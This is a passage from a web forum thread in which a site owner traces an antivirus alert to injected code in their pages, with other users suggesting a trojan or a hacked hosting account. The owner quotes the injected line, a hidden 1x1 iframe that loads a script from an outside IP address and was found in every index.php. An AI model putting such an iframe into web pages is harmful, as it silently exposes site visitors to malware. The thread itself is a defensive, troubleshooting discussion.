It may be detecting the script has malicious...
I have ESE (NOD32) and it doesn't detect anything.
PS: I've tried a random user and password and entered! It's that suposed to happen?
If you look at that Kaspersky Alert closely, it shows ip 126.96.36.199. Now frih.net or your site resolves to ip 188.8.131.52. I don't think your site has any thing to do with that ip. Now question is why is it ringing the alarm when u open your site, my guess is you have a trojan in your pc which adds a line of code to html or php pages. So everytime you open a site it also tries to connect to that ip.
You can also check that newsletter script for that ip in the coding to be safe.
Could you paste the code here?
I think we could find something on google about it and how to remove the virus/trojan from your pc.
There was first something like this :
<iframe src="http://184.108.40.206/in.php" width=1 height=1 style="visibility: hidden;"></iframe>
I don't know where it is comming from in my script!!!
This is the new script i found on it.
This script is presnet in all my index.php pages of each directory. But what i will do is that i will change all my passwords to acces my hosted pages. To see if it is going to change again.
@k_s_baskar, your account is most likely hacked. I would suggest an account reset. Also, please update any software you use, considering it is likely that they contain bugs that will be exploited again.